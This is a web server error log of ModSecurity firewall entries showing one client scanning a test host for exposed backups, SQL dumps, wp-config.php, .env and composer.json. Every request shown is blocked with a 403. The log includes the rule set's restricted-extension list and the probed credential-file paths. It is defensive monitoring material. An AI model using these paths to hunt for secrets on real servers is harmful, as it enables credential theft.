[Sun Jun 29 20:18:29.359242 2025] [:error] [pid 2967922] [client 185.177.72.107:32096] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/debug.log&quot;] [unique_id &quot;aGGDdX3T5w8Ph4-X-hFF9AAAAAQ&quot;]
[Sun Jun 29 20:18:29.359486 2025] [:error] [pid 2967922] [client 185.177.72.107:32096] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/debug.log&quot;] [unique_id &quot;aGGDdX3T5w8Ph4-X-hFF9AAAAAQ&quot;]
[Sun Jun 29 20:18:29.431075 2025] [:error] [pid 2967922] [client 185.177.72.107:32096] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/dump.sql&quot;] [unique_id &quot;aGGDdX3T5w8Ph4-X-hFF9gAAAAQ&quot;]
[Sun Jun 29 20:18:29.431459 2025] [:error] [pid 2967922] [client 185.177.72.107:32096] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/dump.sql&quot;] [unique_id &quot;aGGDdX3T5w8Ph4-X-hFF9gAAAAQ&quot;]
[Sun Jun 29 20:18:29.431681 2025] [:error] [pid 2967922] [client 185.177.72.107:32096] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/dump.sql&quot;] [unique_id &quot;aGGDdX3T5w8Ph4-X-hFF9gAAAAQ&quot;]
[Sun Jun 29 20:18:39.009141 2025] [:error] [pid 2967921] [client 185.177.72.107:51366] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/logs/error.log&quot;] [unique_id &quot;aGGDfw5w_kdDrMZHVfsROgAAAAM&quot;]
[Sun Jun 29 20:18:39.009528 2025] [:error] [pid 2967921] [client 185.177.72.107:51366] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/logs/error.log&quot;] [unique_id &quot;aGGDfw5w_kdDrMZHVfsROgAAAAM&quot;]
[Sun Jun 29 20:18:39.009718 2025] [:error] [pid 2967921] [client 185.177.72.107:51366] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/logs/error.log&quot;] [unique_id &quot;aGGDfw5w_kdDrMZHVfsROgAAAAM&quot;]
[Sun Jun 29 20:18:53.869158 2025] [:error] [pid 2967918] [client 185.177.72.107:14470] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/site.conf&quot;] [unique_id &quot;aGGDjTOxdet7QOoqVXWWDAAAAAA&quot;]
[Sun Jun 29 20:18:53.869563 2025] [:error] [pid 2967918] [client 185.177.72.107:14470] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/site.conf&quot;] [unique_id &quot;aGGDjTOxdet7QOoqVXWWDAAAAAA&quot;]
[Sun Jun 29 20:18:53.869748 2025] [:error] [pid 2967918] [client 185.177.72.107:14470] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/site.conf&quot;] [unique_id &quot;aGGDjTOxdet7QOoqVXWWDAAAAAA&quot;]
[Sun Jun 29 20:18:53.892036 2025] [:error] [pid 2967918] [client 185.177.72.107:14470] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/site.sql&quot;] [unique_id &quot;aGGDjTOxdet7QOoqVXWWDQAAAAA&quot;]
[Sun Jun 29 20:18:53.892398 2025] [:error] [pid 2967918] [client 185.177.72.107:14470] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/site.sql&quot;] [unique_id &quot;aGGDjTOxdet7QOoqVXWWDQAAAAA&quot;]
[Sun Jun 29 20:18:53.892595 2025] [:error] [pid 2967918] [client 185.177.72.107:14470] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/site.sql&quot;] [unique_id &quot;aGGDjTOxdet7QOoqVXWWDQAAAAA&quot;]
[Sun Jun 29 20:18:53.915396 2025] [:error] [pid 2967918] [client 185.177.72.107:14470] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /backup/wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/wp-config.php&quot;] [unique_id &quot;aGGDjTOxdet7QOoqVXWWDgAAAAA&quot;]
[Sun Jun 29 20:18:53.915637 2025] [:error] [pid 2967918] [client 185.177.72.107:14470] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/wp-config.php&quot;] [unique_id &quot;aGGDjTOxdet7QOoqVXWWDgAAAAA&quot;]
[Sun Jun 29 20:18:53.915823 2025] [:error] [pid 2967918] [client 185.177.72.107:14470] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/wp-config.php&quot;] [unique_id &quot;aGGDjTOxdet7QOoqVXWWDgAAAAA&quot;]
[Sun Jun 29 20:18:53.939673 2025] [:error] [pid 2967918] [client 185.177.72.107:14470] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/wp-config.php.old&quot;] [unique_id &quot;aGGDjTOxdet7QOoqVXWWDwAAAAA&quot;]
[Sun Jun 29 20:18:53.939835 2025] [:error] [pid 2967918] [client 185.177.72.107:14470] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /backup/wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/wp-config.php.old&quot;] [unique_id &quot;aGGDjTOxdet7QOoqVXWWDwAAAAA&quot;]
[Sun Jun 29 20:18:53.940066 2025] [:error] [pid 2967918] [client 185.177.72.107:14470] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/wp-config.php.old&quot;] [unique_id &quot;aGGDjTOxdet7QOoqVXWWDwAAAAA&quot;]
[Sun Jun 29 20:18:53.940241 2025] [:error] [pid 2967918] [client 185.177.72.107:14470] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/wp-config.php.old&quot;] [unique_id &quot;aGGDjTOxdet7QOoqVXWWDwAAAAA&quot;]
[Sun Jun 29 20:18:54.027242 2025] [:error] [pid 2967918] [client 185.177.72.107:14470] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backups/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backups/.env&quot;] [unique_id &quot;aGGDjjOxdet7QOoqVXWWEQAAAAA&quot;]
[Sun Jun 29 20:18:54.027473 2025] [:error] [pid 2967918] [client 185.177.72.107:14470] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backups/.env&quot;] [unique_id &quot;aGGDjjOxdet7QOoqVXWWEQAAAAA&quot;]
[Sun Jun 29 20:18:54.027668 2025] [:error] [pid 2967918] [client 185.177.72.107:14470] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backups/.env&quot;] [unique_id &quot;aGGDjjOxdet7QOoqVXWWEQAAAAA&quot;]
[Sun Jun 29 20:18:54.556159 2025] [:error] [pid 2967918] [client 185.177.72.107:14470] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/db.sql&quot;] [unique_id &quot;aGGDjjOxdet7QOoqVXWWFAAAAAA&quot;]
[Sun Jun 29 20:18:54.556494 2025] [:error] [pid 2967918] [client 185.177.72.107:14470] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/db.sql&quot;] [unique_id &quot;aGGDjjOxdet7QOoqVXWWFAAAAAA&quot;]
[Sun Jun 29 20:18:54.556718 2025] [:error] [pid 2967918] [client 185.177.72.107:14470] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/db.sql&quot;] [unique_id &quot;aGGDjjOxdet7QOoqVXWWFAAAAAA&quot;]
[Sun Jun 29 20:19:18.048757 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/composer.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aGGDpntTxOj9v32ojom56AAAAAE&quot;]
[Sun Jun 29 20:19:18.049061 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aGGDpntTxOj9v32ojom56AAAAAE&quot;]
[Sun Jun 29 20:19:18.049762 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aGGDpntTxOj9v32ojom56AAAAAE&quot;]
